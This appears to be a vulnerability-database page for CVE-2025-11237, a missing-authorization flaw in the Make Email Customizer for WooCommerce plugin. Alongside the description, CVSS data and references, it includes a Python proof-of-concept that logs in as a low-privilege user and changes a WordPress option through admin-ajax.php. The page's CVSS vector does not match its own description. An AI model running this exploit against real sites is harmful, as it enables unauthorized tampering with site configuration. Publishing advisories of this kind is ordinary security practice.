CVE-2025-11237

Description

The Make Email Customizer for WooCommerce WordPress plugin through 1.0.6 lacks proper authorization checks and option validation in its AJAX actions, allowing any authenticated user, such as a Subscriber, to update arbitrary WordPress options.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Make Email Customizer for WooCommerce < 1.0.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-11237 PoC
# Make Email Customizer for WooCommerce < 1.0.7 Authorization Bypass

target_url = "https://target-site.com/wp-admin/admin-ajax.php"

# Authenticate as subscriber (low-privilege user)
session = requests.Session()
login_data = {
    "log": "attacker_username",
    "pwd": "attacker_password",
    "wp-submit": "Log In",
    "testcookie": "1"
}

# Login to WordPress
session.post("https://target-site.com/wp-login.php", data=login_data)

# Exploit: Update arbitrary WordPress option without authorization
# Example: Change site URL or enable user registration
exploit_data = {
    "action": "make_email_customizer_save_option",
    "option_name": "users_can_register",
    "option_value": "1"
}

response = session.post(target_url, data=exploit_data)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11237
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11237
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11237/
[4] VulDB https://vuldb.com/cve/CVE-2025-11237
[5] https://wpscan.com/vulnerability/88b46752-051b-4468-9e2b-cc81a9ce1075/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11237", "sourceIdentifier": "[email protected]", "published": "2025-11-11T06:15:34.690", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Make Email Customizer for WooCommerce WordPress plugin through 1.0.6 lacks proper authorization checks and option validation in its AJAX actions, allowing any authenticated user, such as a Subscriber, to update arbitrary WordPress options."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "references": [{"url": "https://wpscan.com/vulnerability/88b46752-051b-4468-9e2b-cc81a9ce1075/", "source": "[email protected]"}]}}